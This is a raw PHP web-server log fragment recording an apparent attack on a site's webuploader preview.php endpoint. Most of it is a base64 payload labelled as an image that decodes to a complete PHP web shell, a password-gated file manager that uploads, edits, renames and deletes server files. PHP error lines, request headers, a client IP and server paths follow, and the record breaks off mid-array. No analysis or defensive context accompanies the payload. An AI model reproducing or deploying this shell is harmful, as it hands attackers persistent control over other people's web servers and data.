'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:34+08:00 ] 116.213.36.234 POST www.51tianwei.com/Public//webuploader/0.1.5/server/preview.php [运行时间:0.002484s] [吞吐率:402.56req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 